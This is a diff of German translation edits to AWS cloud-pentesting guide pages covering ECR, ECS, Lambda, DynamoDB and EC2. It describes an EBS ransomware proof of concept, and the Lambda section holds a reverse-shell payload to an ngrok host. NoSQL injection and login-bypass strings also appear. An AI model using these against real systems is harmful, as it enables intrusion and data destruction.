-Dies ist das verwendete Python-Skript. Es nimmt AWS-Credentials für ein 'Opfer'-Konto und einen öffentlich verfügbaren AWS ARN-Wert für den Schlüssel, der zur Verschlüsselung verwendet werden soll. Das Skript erstellt verschlüsselte Kopien ALLER verfügbaren EBS-Volumes, die an ALLEN EC2-Instanzen im angezielten AWS-Konto angehängt sind, stoppt dann jede EC2-Instanz, trennt die ursprünglichen EBS-Volumes, löscht sie und löscht schließlich alle während des Prozesses verwendeten Snapshots. Dies hinterlässt nur verschlüsselte EBS-Volumes im angezielten 'Opfer'-Konto. VERWENDEN SIE DIESES SKRIPT NUR IN EINER TESTUMGEBUNG, ES IST ZERSTÖRERISCH UND WIRD ALLE ORIGINALEN EBS-VOLUMEN LÖSCHEN. Sie können sie mit dem verwendeten KMS-Schlüssel wiederherstellen und über Snapshots in ihren ursprünglichen Zustand zurückversetzen, möchten Sie jedoch darauf hinweisen, dass dies letztendlich ein Ransomware PoC ist.
+Dies ist das verwendete Python-Skript. Es nimmt AWS-Credentials für ein 'Opfer'-Konto und einen öffentlich verfügbaren AWS ARN-Wert für den Schlüssel, der zur Verschlüsselung verwendet werden soll. Das Skript erstellt verschlüsselte Kopien ALLER verfügbaren EBS-Volumes, die an ALLEN EC2-Instanzen im angezielten AWS-Konto angehängt sind, stoppt dann jede EC2-Instanz, trennt die ursprünglichen EBS-Volumes, löscht sie und löscht schließlich alle während des Prozesses verwendeten Snapshots. Dies hinterlässt nur verschlüsselte EBS-Volumes im angezielten 'Opfer'-Konto. VERWENDEN SIE DIESES SKRIPT NUR IN EINER TESTUMGEBUNG, ES IST ZERSTÖRERISCH UND WIRD ALLE ORIGINALEN EBS-VOLUMEN LÖSCHEN. Sie können sie mit dem verwendeten KMS-Schlüssel wiederherstellen und über Snapshots in ihren ursprünglichen Zustand zurückversetzen, möchten Sie jedoch darauf hinweisen, dass dies letztendlich ein Ransomware-PoC ist.
```
import boto3
import argparse
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md
index 54c019515..8127993b2 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md
@@ -49,7 +49,7 @@ aws ecr get-download-url-for-layer \
Nachdem Sie die Bilder heruntergeladen haben, sollten Sie **sie auf sensible Informationen überprüfen**:
{{#ref}}
-https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics
+https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
{{#endref}}
### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage`
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md
index 53b817506..319835050 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md
@@ -13,14 +13,14 @@ Für weitere Informationen siehe:
### Host IAM-Rollen
In ECS kann eine **IAM-Rolle der Aufgabe** zugewiesen werden, die innerhalb des Containers ausgeführt wird. **Wenn** die Aufgabe innerhalb einer **EC2**-Instanz ausgeführt wird, hat die **EC2-Instanz** eine **andere IAM**-Rolle, die ihr zugeordnet ist.\
-Das bedeutet, dass, wenn es Ihnen gelingt, eine ECS-Instanz zu **kompromittieren**, Sie potenziell die **IAM-Rolle, die mit dem ECR und der EC2-Instanz verbunden ist, erhalten können**. Für weitere Informationen darüber, wie Sie diese Anmeldeinformationen erhalten können, siehe:
+Das bedeutet, dass, wenn es Ihnen gelingt, eine ECS-Instanz zu **kompromittieren**, Sie potenziell die **IAM-Rolle, die mit dem ECR und der EC2-Instanz verbunden ist, erhalten können**. Für weitere Informationen, wie Sie diese Anmeldeinformationen erhalten können, siehe:
{{#ref}}
-https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
+https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
{{#endref}}
> [!CAUTION]
-> Beachten Sie, dass, wenn die EC2-Instanz IMDSv2 durchsetzt, [**laut den Dokumenten**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html) die **Antwort der PUT-Anfrage** ein **Hop-Limit von 1** haben wird, was es unmöglich macht, auf die EC2-Metadaten von einem Container innerhalb der EC2-Instanz zuzugreifen.
+> Beachten Sie, dass, wenn die EC2-Instanz IMDSv2 durchsetzt, [**laut den Dokumenten**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), die **Antwort der PUT-Anfrage** ein **Hop-Limit von 1** haben wird, was es unmöglich macht, auf die EC2-Metadaten von einem Container innerhalb der EC2-Instanz zuzugreifen.
### Privesc zum Knoten, um Anmeldeinformationen und Geheimnisse anderer Container zu stehlen
@@ -28,12 +28,12 @@ Darüber hinaus verwendet EC2 Docker, um ECS-Aufgaben auszuführen. Wenn Sie als
#### Container auf dem aktuellen Host ausführen
-Darüber hinaus hat die **EC2-Instanzrolle** normalerweise genügend **Berechtigungen**, um den **Zustand der Containerinstanz** der EC2-Instanzen, die als Knoten im Cluster verwendet werden, zu **aktualisieren**. Ein Angreifer könnte den **Zustand einer Instanz auf DRAINING** ändern, dann wird ECS **alle Aufgaben von ihr entfernen** und die, die als **REPLICA** ausgeführt werden, werden **in einer anderen Instanz ausgeführt,** möglicherweise innerhalb der **Instanz des Angreifers**, sodass er **ihre IAM-Rollen** und potenziell sensible Informationen aus dem Container stehlen kann.
+Darüber hinaus hat die **EC2-Instanzrolle** normalerweise genügend **Berechtigungen**, um den **Zustand der Containerinstanz** der EC2-Instanzen, die als Knoten im Cluster verwendet werden, zu **aktualisieren**. Ein Angreifer könnte den **Zustand einer Instanz auf DRAINING** ändern, dann wird ECS **alle Aufgaben von ihr entfernen** und die, die als **REPLICA** ausgeführt werden, werden **in einer anderen Instanz ausgeführt**, möglicherweise innerhalb der **Instanz des Angreifers**, sodass er **ihre IAM-Rollen** und potenziell sensible Informationen aus dem Container stehlen kann.
```bash
aws ecs update-container-instances-state \
--cluster --status DRAINING --container-instances
```
-Die gleiche Technik kann durch **das Abmelden der EC2-Instanz vom Cluster** durchgeführt werden. Dies ist potenziell weniger heimlich, aber es wird **die Aufgaben zwingen, auf anderen Instanzen ausgeführt zu werden:**
+Die gleiche Technik kann durch **Deregistrierung der EC2-Instanz aus dem Cluster** durchgeführt werden. Dies ist potenziell weniger heimlich, aber es wird **die Aufgaben zwingen, auf anderen Instanzen ausgeführt zu werden:**
```bash
aws ecs deregister-container-instance \
--cluster --container-instance --force
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md
index 4e55f0a09..54ec4f511 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md
@@ -99,7 +99,7 @@ aws lambda create-function --function-name my_function \
--handler lambda_function.lambda_handler \
--zip-file fileb://rev.zip
```
-Wenn DynamoDB bereits in der AWS-Umgebung aktiv ist, muss der Benutzer nur **die Ereignisquellenzuordnung** für die Lambda-Funktion festlegen. Wenn DynamoDB jedoch nicht verwendet wird, muss der Benutzer **eine neue Tabelle** mit aktivierten Streaming erstellen:
+Wenn DynamoDB bereits in der AWS-Umgebung aktiv ist, muss der Benutzer nur **die Ereignisquellenzuordnung** für die Lambda-Funktion festlegen. Wenn DynamoDB jedoch nicht verwendet wird, muss der Benutzer **eine neue Tabelle** mit aktivierten Streams erstellen:
```bash
aws dynamodb create-table --table-name my_table \
--attribute-definitions AttributeName=Test,AttributeType=S \
@@ -107,13 +107,13 @@ aws dynamodb create-table --table-name my_table \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES
```
-Jetzt ist es möglich, **die Lambda-Funktion mit der DynamoDB-Tabelle zu verbinden**, indem **eine Ereignisquellenzuordnung erstellt wird**:
+Jetzt ist es möglich, **die Lambda-Funktion mit der DynamoDB-Tabelle zu verbinden**, indem **eine Ereignisquellenzuordnung** erstellt wird:
```bash
aws lambda create-event-source-mapping --function-name my_function \
--event-source-arn \
--enabled --starting-position LATEST
```
-Mit der mit dem DynamoDB-Stream verknüpften Lambda-Funktion kann der Angreifer **indirekt die Lambda auslösen, indem er den DynamoDB-Stream aktiviert**. Dies kann erreicht werden, indem man **ein Element** in die DynamoDB-Tabelle einfügt:
+Mit der Lambda-Funktion, die mit dem DynamoDB-Stream verknüpft ist, kann der Angreifer **indirekt die Lambda auslösen, indem er den DynamoDB-Stream aktiviert**. Dies kann erreicht werden, indem man **ein Element** in die DynamoDB-Tabelle einfügt:
```bash
aws dynamodb put-item --table-name my_table \
--item Test={S="Random string"}
@@ -144,7 +144,7 @@ aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statemen
### `lambda:UpdateFunctionCode`
Benutzer, die die Berechtigung **`lambda:UpdateFunctionCode`** besitzen, haben die Möglichkeit, **den Code einer bestehenden Lambda-Funktion, die mit einer IAM-Rolle verknüpft ist, zu ändern.**\
-Der Angreifer kann **den Code der Lambda-Funktion ändern, um die IAM-Anmeldeinformationen zu exfiltrieren**.
+Der Angreifer kann **den Code der Lambda-Funktion ändern, um die IAM-Anmeldeinformationen zu exfiltrieren.**
Obwohl der Angreifer möglicherweise nicht die direkte Fähigkeit hat, die Funktion aufzurufen, ist es wahrscheinlich, dass die Lambda-Funktion, wenn sie bereits vorhanden und betriebsbereit ist, durch bestehende Workflows oder Ereignisse ausgelöst wird, wodurch die Ausführung des modifizierten Codes indirekt erleichtert wird.
```bash
@@ -163,14 +163,14 @@ aws lambda invoke --function-name my_function output.txt
#### RCE über Umgebungsvariablen
-Mit diesen Berechtigungen ist es möglich, Umgebungsvariablen hinzuzufügen, die dazu führen, dass die Lambda willkürlichen Code ausführt. Zum Beispiel ist es in Python möglich, die Umgebungsvariablen `PYTHONWARNING` und `BROWSER` auszunutzen, um einen Python-Prozess willkürliche Befehle ausführen zu lassen:
+Mit diesen Berechtigungen ist es möglich, Umgebungsvariablen hinzuzufügen, die dazu führen, dass die Lambda beliebigen Code ausführt. Zum Beispiel ist es in Python möglich, die Umgebungsvariablen `PYTHONWARNING` und `BROWSER` auszunutzen, um einen Python-Prozess dazu zu bringen, beliebige Befehle auszuführen:
```bash
aws --profile none-priv lambda update-function-configuration --function-name --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}"
```
Für andere Skriptsprachen gibt es andere Umgebungsvariablen, die Sie verwenden können. Für weitere Informationen überprüfen Sie die Unterabschnitte der Skriptsprachen in:
{{#ref}}
-https://book.hacktricks.xyz/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse
+https://book.hacktricks.wiki/en/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/index.html
{{#endref}}
#### RCE über Lambda Layers
@@ -185,7 +185,7 @@ import sys
def lambda_handler(event, context):
print(json.dumps(sys.path, indent=2))
```
-Dies sind die Orte:
+Diese sind die Orte:
1. /var/task
2. /opt/python/lib/python3.7/site-packages
@@ -230,7 +230,7 @@ aws lambda update-function-configuration \
```
Der nächste Schritt wäre, entweder **die Funktion selbst aufzurufen**, wenn wir können, oder zu warten, bis sie auf normale Weise **aufgerufen wird** – was die sicherere Methode ist.
-Eine **stealthier Methode, um diese Schwachstelle auszunutzen**, findet sich in:
+Eine **diskretere Möglichkeit, diese Schwachstelle auszunutzen**, findet sich in:
{{#ref}}
../aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
@@ -240,11 +240,11 @@ Eine **stealthier Methode, um diese Schwachstelle auszunutzen**, findet sich in:
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateFunctionUrlConfig`, `lambda:InvokeFunctionUrl`
-Vielleicht kannst du mit diesen Berechtigungen eine Funktion erstellen und sie aufrufen, indem du die URL verwendest... aber ich konnte keinen Weg finden, um es zu testen, also lass es mich wissen, wenn du es tust!
+Vielleicht kannst du mit diesen Berechtigungen eine Funktion erstellen und sie aufrufen, indem du die URL verwendest... aber ich konnte keinen Weg finden, dies zu testen, also lass es mich wissen, wenn du es tust!
### Lambda MitM
-Einige Lambdas werden **sensible Informationen von den Benutzern in Parametern empfangen.** Wenn du RCE in einem von ihnen erhältst, kannst du die Informationen, die andere Benutzer an sie senden, exfiltrieren, siehe dazu:
+Einige Lambdas werden **sensible Informationen von den Benutzern in Parametern empfangen.** Wenn du RCE in einem von ihnen erhältst, kannst du die Informationen, die andere Benutzer senden, exfiltrieren, siehe dazu:
{{#ref}}
../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md
index bfb690456..ba3a45790 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md
@@ -4,7 +4,7 @@
## DocumentDB
-Amazon DocumentDB, das Kompatibilität mit MongoDB bietet, wird als **schneller, zuverlässiger und vollständig verwalteter Datenbankdienst** präsentiert. Entwickelt für Einfachheit in Bereitstellung, Betrieb und Skalierbarkeit, ermöglicht es die **nahtlose Migration und den Betrieb von MongoDB-kompatiblen Datenbanken in der Cloud**. Benutzer können diesen Dienst nutzen, um ihren bestehenden Anwendungscode auszuführen und vertraute Treiber und Tools zu verwenden, was einen reibungslosen Übergang und Betrieb ähnlich wie bei der Arbeit mit MongoDB gewährleistet.
+Amazon DocumentDB, das Kompatibilität mit MongoDB bietet, wird als **schneller, zuverlässiger und vollständig verwalteter Datenbankdienst** präsentiert. Entwickelt für Einfachheit in Bereitstellung, Betrieb und Skalierbarkeit, ermöglicht es die **nahtlose Migration und den Betrieb von MongoDB-kompatiblen Datenbanken in der Cloud**. Benutzer können diesen Dienst nutzen, um ihren vorhandenen Anwendungscode auszuführen und vertraute Treiber und Tools zu verwenden, was einen reibungslosen Übergang und Betrieb ähnlich wie bei der Arbeit mit MongoDB gewährleistet.
### Enumeration
```bash
@@ -24,7 +24,7 @@ aws --region us-east-1 --profile ad docdb describe-db-cluster-snapshot-attribute
Da DocumentDB eine mit MongoDB kompatible Datenbank ist, können Sie sich vorstellen, dass sie auch anfällig für gängige NoSQL-Injection-Angriffe ist:
{{#ref}}
-https://book.hacktricks.xyz/pentesting-web/nosql-injection
+https://book.hacktricks.wiki/en/pentesting-web/nosql-injection.html
{{#endref}}
### DocumentDB
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md
index babbbd959..d74698f34 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md
@@ -18,7 +18,7 @@ Standardmäßig verwendet DynamoDB einen KMS-Schlüssel, der **zu Amazon DynamoD
### Backups & Export nach S3
-Es ist möglich, die **Erstellung von Tabellen-Backups** zu **planen** oder sie **auf Anfrage** zu erstellen. Darüber hinaus ist es auch möglich, **Point-in-Time Recovery (PITR) für eine Tabelle zu aktivieren.** Die Point-in-Time-Wiederherstellung bietet kontinuierliche **Backups** Ihrer DynamoDB-Daten für **35 Tage**, um Sie vor versehentlichen Schreib- oder Löschvorgängen zu schützen.
+Es ist möglich, die **Erstellung von Tabellen-Backups** zu **planen** oder sie **auf Anfrage** zu erstellen. Darüber hinaus ist es auch möglich, **Point-in-Time Recovery (PITR) für eine Tabelle zu aktivieren.** Die Wiederherstellung zu einem bestimmten Zeitpunkt bietet kontinuierliche **Backups** Ihrer DynamoDB-Daten für **35 Tage**, um Sie vor versehentlichen Schreib- oder Löschvorgängen zu schützen.
Es ist auch möglich, **die Daten einer Tabelle nach S3 zu exportieren**, aber die Tabelle muss **PITR aktiviert** haben.
@@ -26,7 +26,7 @@ Es ist auch möglich, **die Daten einer Tabelle nach S3 zu exportieren**, aber d
Es gibt eine GUI für lokale Dynamo-Dienste wie [DynamoDB Local](https://aws.amazon.com/blogs/aws/dynamodb-local-for-desktop-development/), [dynalite](https://github.com/mhart/dynalite), [localstack](https://github.com/localstack/localstack) usw., die nützlich sein könnte: [https://github.com/aaronshaf/dynamodb-admin](https://github.com/aaronshaf/dynamodb-admin)
-### Aufzählung
+### Enumeration
```bash
# Tables
aws dynamodb list-tables
@@ -84,18 +84,18 @@ aws dynamodb describe-endpoints #Dynamodb endpoints
Es gibt Möglichkeiten, auf DynamoDB-Daten mit **SQL-Syntax** zuzugreifen, daher sind typische **SQL-Injektionen ebenfalls möglich**.
{{#ref}}
-https://book.hacktricks.xyz/pentesting-web/sql-injection
+https://book.hacktricks.wiki/en/pentesting-web/sql-injection/index.html
{{#endref}}
### NoSQL Injection
-In DynamoDB können verschiedene **Bedingungen** verwendet werden, um Daten abzurufen. Wie bei einer gängigen NoSQL-Injektion, wenn es möglich ist, **mehrere Bedingungen zu verketten, um** Daten abzurufen, könnten Sie versteckte Daten (oder die gesamte Tabelle dumpen) erhalten.\
+In DynamoDB können verschiedene **Bedingungen** verwendet werden, um Daten abzurufen. Wie bei einer gängigen NoSQL-Injektion, wenn es möglich ist, **mehrere Bedingungen zu verketten, um** Daten abzurufen, könnten Sie versteckte Daten (oder die gesamte Tabelle dumpen).\
Hier finden Sie die von DynamoDB unterstützten Bedingungen: [https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html)
Beachten Sie, dass **verschiedene Bedingungen** unterstützt werden, wenn auf die Daten über **`query`** oder über **`scan`** zugegriffen wird.
> [!NOTE]
-> Tatsächlich müssen **Query**-Aktionen die **Bedingung "EQ" (gleich)** im **primären** Schlüssel angeben, um zu funktionieren, was sie viel **weniger anfällig für NoSQL-Injektionen** macht (und auch die Operation sehr eingeschränkt).
+> Tatsächlich müssen **Query**-Aktionen die **Bedingung "EQ" (gleich)** im **primären** Schlüssel angeben, damit sie funktionieren, was sie viel **weniger anfällig für NoSQL-Injektionen** macht (und auch die Operation sehr eingeschränkt).
Wenn Sie die **Vergleichsoperation** ändern oder neue hinzufügen können, könnten Sie mehr Daten abrufen.
```bash
@@ -105,7 +105,7 @@ Wenn Sie die **Vergleichsoperation** ändern oder neue hinzufügen können, kön
"GT": " " #All strings are greater than a space
```
{{#ref}}
-https://book.hacktricks.xyz/pentesting-web/nosql-injection
+https://book.hacktricks.wiki/en/pentesting-web/nosql-injection.html
{{#endref}}
### Rohes Json-Injection
@@ -113,9 +113,9 @@ https://book.hacktricks.xyz/pentesting-web/nosql-injection
> [!CAUTION]
> **Diese Schwachstelle basiert auf dem dynamodb Scan Filter, der jetzt veraltet ist!**
-**DynamoDB** akzeptiert **Json**-Objekte, um nach Daten in der DB zu **suchen**. Wenn Sie feststellen, dass Sie im json-Objekt, das zum Suchen gesendet wird, schreiben können, könnten Sie die DB dumpen, alle Inhalte.
+**DynamoDB** akzeptiert **Json**-Objekte, um **Daten** in der DB zu **suchen**. Wenn Sie feststellen, dass Sie im Json-Objekt, das zum Suchen gesendet wird, schreiben können, könnten Sie die DB dumpen, alle Inhalte.
-Zum Beispiel, injizieren in eine Anfrage wie:
+Zum Beispiel, indem Sie in eine Anfrage injizieren wie:
```bash
'{"Id": {"ComparisonOperator": "EQ","AttributeValueList": [{"N": "' + user_input + '"}]}}'
```
@@ -123,7 +123,7 @@ Ein Angreifer könnte etwas injizieren wie:
`1000"}],"ComparisonOperator": "GT","AttributeValueList": [{"N": "0`
-Beheben Sie die "EQ"-Bedingung, indem Sie nach der ID 1000 suchen und dann nach allen Daten mit einer ID-Zeichenfolge, die größer als 0 ist, was alles ist.
+Beheben Sie die "EQ"-Bedingung, die nach der ID 1000 sucht, und suchen Sie dann nach allen Daten mit einer ID-Zeichenfolge größer als 0, was alles ist.
Ein weiteres **anfälliges Beispiel mit einem Login** könnte sein:
```python
@@ -152,9 +152,9 @@ Einige SDKs erlauben die Verwendung eines Strings, der die durchzuführende Filt
```java
new ScanSpec().withProjectionExpression("UserName").withFilterExpression(user_input+" = :username and Password = :password").withValueMap(valueMap)
```
-Sie müssen wissen, dass das Suchen in DynamoDB zum **Ersetzen** eines Attributs **werts** in **Filterausdrücken** beim Scannen der Elemente, die Tokens mit dem **`:`**-Zeichen **beginnen** sollten. Solche Tokens werden zur Laufzeit mit dem tatsächlichen **Attributwert** **ersetzt**.
+Sie müssen wissen, dass beim Suchen in DynamoDB zum **Ersetzen** eines Attributs **wertes** in **Filterausdrücken** während des Scannens der Elemente die Tokens mit dem **`:`**-Zeichen **beginnen** sollten. Solche Tokens werden zur Laufzeit mit dem tatsächlichen **Attributwert** **ersetzt**.
-Daher kann ein Login wie das vorherige mit etwas wie folgt umgangen werden:
+Daher kann ein Login wie das vorherige mit etwas wie folgendem umgangen werden:
```bash
:username = :username or :username
# This will generate the query:
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md
index 4d0b8f735..607546f45 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md
@@ -4,7 +4,7 @@
## VPC & Networking
-Erfahren Sie, was ein VPC ist und welche Komponenten es hat in:
+Erfahren Sie, was eine VPC ist und welche Komponenten sie hat in:
{{#ref}}
aws-vpc-and-networking-basic-information.md
@@ -27,21 +27,21 @@ Interessante Dinge, die in EC2 aufgezählt werden können:
- Offene Ports
- Integrierte Verbindungen zu anderen Netzwerken außerhalb von AWS
-### Instanzprofile
+### Instance Profiles
-Die Verwendung von **Rollen**, um Berechtigungen für Anwendungen zu gewähren, die auf **EC2-Instanzen** ausgeführt werden, erfordert eine zusätzliche Konfiguration. Eine Anwendung, die auf einer EC2-Instanz ausgeführt wird, ist durch das virtualisierte Betriebssystem von AWS abstrahiert. Aufgrund dieser zusätzlichen Trennung benötigen Sie einen zusätzlichen Schritt, um eine AWS-Rolle und die zugehörigen Berechtigungen einer EC2-Instanz zuzuweisen und sie ihren Anwendungen zur Verfügung zu stellen.
+Die Verwendung von **Rollen**, um Berechtigungen für Anwendungen zu gewähren, die auf **EC2-Instanzen** ausgeführt werden, erfordert eine zusätzliche Konfiguration. Eine Anwendung, die auf einer EC2-Instanz läuft, ist durch das virtualisierte Betriebssystem von AWS abstrahiert. Aufgrund dieser zusätzlichen Trennung ist ein zusätzlicher Schritt erforderlich, um eine AWS-Rolle und die zugehörigen Berechtigungen einer EC2-Instanz zuzuweisen und sie ihren Anwendungen zur Verfügung zu stellen.
-Dieser zusätzliche Schritt ist die **Erstellung eines** [_**Instanzprofils**_](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_switch-role-ec2_instance-profiles.html), das an die Instanz angehängt ist. Das **Instanzprofil enthält die Rolle und** kann die temporären Anmeldeinformationen der Rolle einer Anwendung, die auf der Instanz ausgeführt wird, bereitstellen. Diese temporären Anmeldeinformationen können dann in den API-Aufrufen der Anwendung verwendet werden, um auf Ressourcen zuzugreifen und den Zugriff nur auf die Ressourcen zu beschränken, die die Rolle angibt. Beachten Sie, dass **nur eine Rolle gleichzeitig einer EC2-Instanz zugewiesen werden kann**, und alle Anwendungen auf der Instanz teilen sich dieselbe Rolle und Berechtigungen.
+Dieser zusätzliche Schritt ist die **Erstellung eines** [_**Instance Profiles**_](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_switch-role-ec2_instance-profiles.html), das an die Instanz angehängt ist. Das **Instance Profile enthält die Rolle und** kann die temporären Anmeldeinformationen der Rolle einer Anwendung, die auf der Instanz läuft, zur Verfügung stellen. Diese temporären Anmeldeinformationen können dann in den API-Aufrufen der Anwendung verwendet werden, um auf Ressourcen zuzugreifen und den Zugriff nur auf die Ressourcen zu beschränken, die die Rolle angibt. Beachten Sie, dass **nur eine Rolle gleichzeitig einer EC2-Instanz zugewiesen werden kann**, und alle Anwendungen auf der Instanz teilen sich dieselbe Rolle und Berechtigungen.
-### Metadaten-Endpunkt
+### Metadata Endpoint
-AWS EC2-Metadaten sind Informationen über eine Amazon Elastic Compute Cloud (EC2)-Instanz, die der Instanz zur Laufzeit zur Verfügung stehen. Diese Metadaten werden verwendet, um Informationen über die Instanz bereitzustellen, wie z. B. ihre Instanz-ID, die Verfügbarkeitszone, in der sie ausgeführt wird, die IAM-Rolle, die mit der Instanz verknüpft ist, und den Hostnamen der Instanz.
+AWS EC2-Metadaten sind Informationen über eine Amazon Elastic Compute Cloud (EC2)-Instanz, die der Instanz zur Laufzeit zur Verfügung stehen. Diese Metadaten werden verwendet, um Informationen über die Instanz bereitzustellen, wie z. B. ihre Instanz-ID, die Verfügbarkeitszone, in der sie läuft, die IAM-Rolle, die mit der Instanz verbunden ist, und den Hostnamen der Instanz.
{{#ref}}
-https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
+https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
{{#endref}}
-### Aufzählung
+### Enumeration
```bash
# Get EC2 instances
aws ec2 describe-instances
@@ -149,7 +149,7 @@ Auf der folgenden Seite können Sie überprüfen, wie man **EC2-Berechtigungen m
## EBS
-Amazon **EBS** (Elastic Block Store) **Snapshots** sind im Grunde statische **Backups** von AWS EBS-Volumes. Mit anderen Worten, sie sind **Kopien** der **Festplatten**, die zu einer **EC2**-Instanz zu einem bestimmten Zeitpunkt verbunden sind. EBS-Snapshots können über Regionen und Konten hinweg kopiert oder sogar heruntergeladen und lokal ausgeführt werden.
+Amazon **EBS** (Elastic Block Store) **Snapshots** sind im Grunde statische **Backups** von AWS EBS-Volumes. Mit anderen Worten, sie sind **Kopien** der **Festplatten**, die zu einem bestimmten Zeitpunkt an einer **EC2**-Instanz angeschlossen sind. EBS-Snapshots können über Regionen und Konten hinweg kopiert oder sogar heruntergeladen und lokal ausgeführt werden.
Snapshots können **sensible Informationen** wie **Quellcode oder API-Schlüssel** enthalten, daher wird empfohlen, sie zu überprüfen, wenn Sie die Möglichkeit dazu haben.
@@ -167,7 +167,7 @@ Auf der folgenden Seite können Sie überprüfen, wie man **EBS-Berechtigungen m
## SSM
-**Amazon Simple Systems Manager (SSM)** ermöglicht die remote Verwaltung von EC2-Instanzen, um deren Verwaltung erheblich zu erleichtern. Jede dieser Instanzen muss den **SSM-Agentdienst ausführen, da dieser die Aktionen erhält und sie** über die AWS-API ausführt.
+**Amazon Simple Systems Manager (SSM)** ermöglicht die remote Verwaltung von EC2-Instanzen, um deren Verwaltung erheblich zu erleichtern. Jede dieser Instanzen muss den **SSM-Agentdienst ausführen, da dieser die Aktionen erhält und sie über die AWS-API ausführt**.
Der **SSM-Agent** ermöglicht es dem Systems Manager, diese Ressourcen zu aktualisieren, zu verwalten und zu konfigurieren. Der Agent **verarbeitet Anfragen vom Systems Manager-Dienst in der AWS-Cloud** und führt sie dann gemäß der Anfrage aus.
@@ -188,7 +188,7 @@ ps aux | grep amazon-ssm
```
### Privesc
-Auf der folgenden Seite können Sie überprüfen, wie Sie **SSM-Berechtigungen missbrauchen, um Privilegien zu eskalieren**:
+Auf der folgenden Seite können Sie überprüfen, wie man **SSM-Berechtigungen missbraucht, um Privilegien zu eskalieren**:
{{#ref}}
../../aws-privilege-escalation/aws-ssm-privesc.md
@@ -228,9 +228,9 @@ aws autoscaling describe-load-balancers
```
## Nitro
-AWS Nitro ist eine Suite von **innovativen Technologien**, die die zugrunde liegende Plattform für AWS EC2-Instanzen bilden. Von Amazon eingeführt, um **Sicherheit, Leistung und Zuverlässigkeit** zu **verbessern**, nutzt Nitro maßgeschneiderte **Hardwarekomponenten und einen leichten Hypervisor**. Es abstrahiert viele der traditionellen Virtualisierungsfunktionen auf dedizierte Hardware und Software, **minimiert die Angriffsfläche** und verbessert die Ressourceneffizienz. Durch das Auslagern von Virtualisierungsfunktionen ermöglicht Nitro EC2-Instanzen, **nahezu Bare-Metal-Leistung** zu liefern, was es besonders vorteilhaft für ressourcenintensive Anwendungen macht. Darüber hinaus gewährleistet der Nitro Security Chip speziell die **Sicherheit der Hardware und Firmware** und festigt somit seine robuste Architektur.
